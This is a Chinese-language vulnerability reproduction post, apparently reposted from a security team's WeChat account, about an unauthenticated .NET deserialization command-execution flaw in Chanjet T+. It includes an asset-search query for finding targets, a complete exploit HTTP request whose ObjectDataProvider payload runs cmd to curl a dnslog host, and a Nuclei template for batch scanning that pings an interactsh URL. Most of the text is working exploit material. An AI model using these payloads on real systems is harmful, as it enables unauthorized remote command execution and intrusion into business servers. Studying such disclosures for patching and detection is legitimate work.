漏洞简介
/tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx接口存在.net反序列化漏洞，未经过身份认证的攻击者可以通过构造恶意的序列化请求在目标服务器上执行任意命令。
漏洞复现
步骤一：使用以下搜索语法获取测试资产并确定测试目标~~~
# 搜索语法app="畅捷通-TPlus"
步骤二：使用以下数据包进行命令执行测试并查看其DNSLog记录可得存在命令执行漏洞...
POST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36Accept-Encoding: gzip, deflateAccept: */*Connection: closeContent-Type: application/jsonContent-Length: 614{"storeID":{"__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","MethodName":"Start","ObjectInstance":{"__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","StartInfo": {"__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","FileName":"cmd", "Arguments":"/c curl 9o4ip1.dnslog.cn"}}}}
步骤三：执行命令并记录到对应的文件中...在从浏览器中进行访问获取命令执行结果...。
批量脚本
id: cjt-rceinfo:name: cjt-rceauthor: lyseverity: highhttp:- raw:- |POST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1Host: {{Hostname}}User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.3157.54 Safari/537.36Connection: closeContent-Type: application/json{"storeID": {"__type": "System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","MethodName": "Start","ObjectInstance": {"__type": "System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","StartInfo": {"__type": "System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","FileName": "cmd","Arguments": "/c ping {{interactsh-url}}"}}}}matchers:- type: wordpart: interactsh_protocolwords:- "dns"
原文始发于微信公众号（揽月安全团队）：畅捷通T+ Ufida.T.DI.UIP.RRA.RRATableController 远程命令执行漏洞
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